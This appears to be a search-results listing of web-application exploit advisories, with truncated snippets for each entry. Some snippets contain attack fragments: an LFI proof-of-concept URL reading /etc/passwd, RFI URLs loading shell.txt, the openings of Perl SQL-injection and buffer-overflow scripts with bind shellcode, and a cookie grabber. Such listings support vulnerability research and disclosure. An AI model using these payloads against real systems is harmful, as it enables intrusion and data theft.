1811 matches found
ASPired2Quote (quote.mdb) Remote Database Disclosure Vulnerability
No description provided by source. --------------------------------------------------------- Portal Name: ASPired2Quote Vendor : http://thenetguys.us/Home/Quote.asp Author : PouyaServer , [email protected] Vulnerability : DD --------------------------------------------------------- DD:...
Flatnuke 3 Cookie Grabber Exploit
titolo" name="name" type="text" / Immagine File -- "alert69%3B...
ASPired2Quote (quote.mdb) Remote Database Disclosure Vulnerability
Exploit for unknown platform in category web applications ================================================================== ASPired2Quote quote.mdb Remote Database Disclosure Vulnerability ==================================================================...
Google Analytics Stored Cross Site Scripting
====================================================== ================= = Google Analytics - Stored Cross Site Scripting Vulnerability = = Vendor Website: = http://www.google.com = = Affected Version: = -- http://www.google.com/analytics/ = = Public disclosure on 8th December 2008 =...
sailplanner-sqlxsslfi.txt
--------------------------------------------------------- Portal Name: SailPlanner Vendor : http://relative.nl/projects.php?subMnuItem=1 Author : PouyaServer , [email protected] Vulnerability : SQL,XSS,LFI --------------------------------------------------------- SQL:...
astrospaces-sqlxss.txt
--------------------------------------------------------- Portal Name: AstroSPACES Vendor : http://p3net.net Vulnerable File : space.php Dork: Powered By AstroSPACES Author : PouyaServer , [email protected] Vulnerability : SQL,XSS --------------------------------------------------------- SQL...
Calcium web calendar: Reflected XSS
Vendor: Brown Bear Software Vendor web page: http://brownbearsw.com/ Product: Calcium web calendar Product web page: http://brownbearsw.com/calcium/WhatIsIt.html Vendor's Product Description: Calcium is a Web Calendar application. It will run on nearly any machine with a web server that can run...
brownbear-xss.txt
Vendor: Brown Bear Software Vendor web page: http://brownbearsw.com/ Product: Calcium web calendar Product web page: http://brownbearsw.com/calcium/WhatIsIt.html Vendor's Product Description: Calcium is a Web Calendar application. It will run on nearly any machine with a web server that can run...
EntertainmentScript 1.4.0 - 'page.php' Local File Inclusion
!/usr/bin/perl EntertainmentScript V1.4.0 page.php page Local File Inclusion Exploit Founded & Exploited by : Stack-Terrorist v40 Contact: Ev!L = see down Greetz : Houssamix & Djekmani & Jadi & iuoisn & All muslims HaCkeRs : P0c : http://localhost.il/page.php?page=../../../../../etc/passwd%00...
phpbb2022-xsrf.txt
phpBB 2.0.22 Remote PM Delete XSRF Vulnerability by NBBN Type: Cross-Site Request Forgery Founded: December 2007 An attacker can send a link via pm to a site with the follow html code to a victim and all victim's pm's are going to be deleted when he click the link. Code Vuln Versions: I've tested...
PHP-Nuke Module Advertising Blind SQL Injection
!/usr/bin/perl Product: PHP-Nuke Module Advertising BugFounder: 0x90 HomePage: WwW.0x90.COM.Ar Problem: Blind SQL Injection use strict; use warnings; use LWP; use Time::HiRes; use IO::Socket; my $host = "http://url/modules.php?name=Advertising"; my $useragent = LWP::UserAgent-new; my $metodo =...
PHP Webquest 2.5 - 'id_actividad' SQL Injection
/ script name : phpwebquest script version : 2.5 script website : http://phpwebquest.org Bug Finder : D4realTeaM 'unkn0wnX','n3t-mapper','ToxiC350'; injected file : webquest/soportederechaw.php Variable : idactividad Contact : n3t-mapp3r At hotmail dot com,is14m At hotmail dot com,ushermehdi350 A...
Savant 3.1 Get Request Remote Overflow Exploit (Universal)
No description provided by source. !/usr/bin/perl -w exploit for Savant webserver 3.1 remote bof shellcode bind 4444 port on target host Jacopo cervini aka [email protected] use IO::Socket; if!$ARGV1 print "Uso: savant-3.1.pl victim port\n\n"; exit; $victim = IO::Socket::INET-newProto='tcp',...
Alstrasoft Video Share Enterprise 4.x - Multiple Input Validation Vulnerabilities
Alstrasoft Video Share Enterprise 4.x - Multiple Input Validation Vulnerabilities source: https://www.securityfocus.com/bid/25019/info AlstraSoft Video Share Enterprise is affected by multiple input-validation vulnerabilities. These issues include multiple cross-site scripting vulnerabilities and...
MyCMS <= 0.9.8 Remote Command Execution Exploit
Exploit for unknown platform in category web applications =============================================== MyCMS 126 $result.=" ."; else $result.=" ".$string$i; if strlendechexord$string$i==2 $exa.=" ".dechexord$string$i; else $exa.=" 0".dechexord$string$i; $cont++;if $cont==15 $cont=0;...
Local File Include Vulnerabilities in YaBB <= 2.1(all version)
Local File Include Vulnerabilities Problem: Local File Include Vulnerabilities Product: YaBB = 2.1all version Web page:http://www.yabbforum.com/ Credit:Maciej krasza Kukla @mail:[email protected] homepage:www.krasza.int.pl 1.Description "YaBB is a leading free forum software package that rivals an...
CVE-2007-3201
Visual truncation vulnerability in Windows Privacy Tray WinPT 1.2.0 allows user-assisted remote attackers to install a key listed under the wrong user ID, and possibly cause the user to encrypt a victim's correspondence with this attacker-supplied key, via a key ID composed of the attacker's user...
TutorialCMS <= 1.01 Authentication Bypass Vulnerability
No description provided by source. TutorialCMS = 1.01 Authentication Bypass Discovered by: Silentz Payload: Authentication Bypass Website: http://www.w4ck1ng.com Vulnerability: Variables $loggedIn & $activated are not predefined. Vulnerable Files: login.php headerLinks.php submit1.php myFav.php...
Webavis 0.1.1 - 'class.php?root' Remote File Inclusion
Webavis Remote file inclusion root Download script : http://webavis.myreseau.org/src/webavis-0.1.1.tar.gz Thanks Str0ke :D Exploit : http://victim.com/webavis/class/class.php?root=shell.txt ? Discovered by ThE TiGeR MiroTigeratHotmail.com milw0rm.com 2007-05-25...
Linksnet Newsfeed 1.0 Remote File Inclusion Vulnerability
No description provided by source. Linksnet Newsfeed =1.0 Remote file inclusion Download script : http://www.linksnet.de/mat/LinksnetNewsfeed10.zip Thanks Str0ke Exploit : http://victime.com/LinksnetNewsfeed10path/linksnetnewsfeed/linksnetlinkslogrss.php?dirpathlinksnetnewsfeed= shetll.txt?...